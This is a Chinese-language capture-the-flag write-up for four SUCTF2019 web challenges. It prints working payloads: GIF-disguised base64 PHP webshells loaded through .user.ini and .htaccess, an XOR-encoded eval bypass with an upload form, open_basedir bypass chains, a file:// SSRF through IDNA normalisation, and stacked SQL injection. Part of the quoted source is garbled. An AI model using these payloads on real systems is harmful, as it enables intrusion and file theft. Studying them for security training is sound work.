SUCTF2019部分web题解

CheckIn

题目是一个上传页面,中间件是nginx,尝试上传正常的图片返回如下结果

很奇怪的是路径下存在index.php,经过测试后发现改题目上传时对图片头也进行了校验,同时检验文件中是否存在<?,搜索利用到这篇文章

http://drops.xmd5.com/static/drops/tips-3424.html

利用.user.ini的设置来解析不是php后缀的文件,同时为了绕过<?的检验使用伪协议

1
2
3
//.user.ini
GIF89a
auto_prepend_file="php://filter/convert.base64-decode/resource=12.gif"
1
2
//12.gif
GIF89a12PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

最后直接读flag就好

EasyPHP

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

正则过滤了绝大部分可用字符串,可以使用多个字符异或进行构造,但是直接调用函数长度明显是不够的,这里可以用GET的方式传入我们想要调用的函数,首先FUZZ出_GET

1
2
3
4
5
6
7
8
9
10
11
target = "_GET"
payload = ""
for tar in target:
for i in range(255):
temp = 233^i
if chr(temp) == tar:
payload = payload+str(hex(i))
break
head = "%e9"*4
payload = payload.replace("0x","%")
print(head+"^"+payload)

output

1
%e9%e9%e9%e9^%b6%ae%ac%bd

然后有如下代码

1
2
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

这里需要使字符串去重后小于等于12,于是构造出如下payload

1
${%e9%e9%e9%e9^%b6%ae%ac%bd}{%bd}();

然后调用函数 get_the_flag() 并构造上传表单

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>

<form action="http://47.111.59.243:9001/?_=${%e9%e9%e9%e9^%b6%ae%ac%bd}{%bd}();&%bd=get_the_flag" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

上传这里需要绕过图片头和<?的校验,可以用.htaccess

1
2
3
4
5
6
7
8
//.htaccess
#define xlogo_width 200
#define xlogo_height 200
AddType application/x-httpd-php .gif
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_8dda1f908043a81b3539472e2846b908/evil.gif"

//evil.gif
GIF89a12PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4=

成功的getshell后访问跟目录时才发现是没有权限的,查看phpinfo的信息可以看到开启了open_basedir

同时还禁用了一些函数

尝试baypass open_basedir并用scandir()查看跟目录文件

1
chdir('upload');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

读取flag

1
chdir('upload');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));chdir('/');var_dump(file_get_contents('THis_Is_tHe_F14g'));

Pythonginx

主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

我们需要最后利用下面的代码来读取文件

1
return urllib.request.urlopen(finalUrl).read()

附上调试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
from urllib.parse import *
url = "file://suctf.cc"
host = urlparse(url)
print(host.hostname)
parts = list(urlsplit(url))
print(parts)
host = parts[1]
print("host:"+host)
print(parts)
finalUrl = urlunsplit(parts).split(' ')[0]
print(finalUrl)
host = urlparse(finalUrl).hostname
print("host:"+host)

根据提示先读取nginx配置文件得到flag路径,然后读取flag

easy_sql

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

主要的源码在这里

1
2
3
4
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";

看样子应该是堆叠了,但是一直不知道 || 应该怎么用,后来看到这么一篇文章

https://blog.csdn.net/lixora/article/details/60572357

首先设置sql_mode模式为pipes_as_concat,然后来拼接语句,本地实验了一下

自然的题目中对应的$post[‘query’]就是这个

1
1;set sql_mode=pipes_as_concat;select 1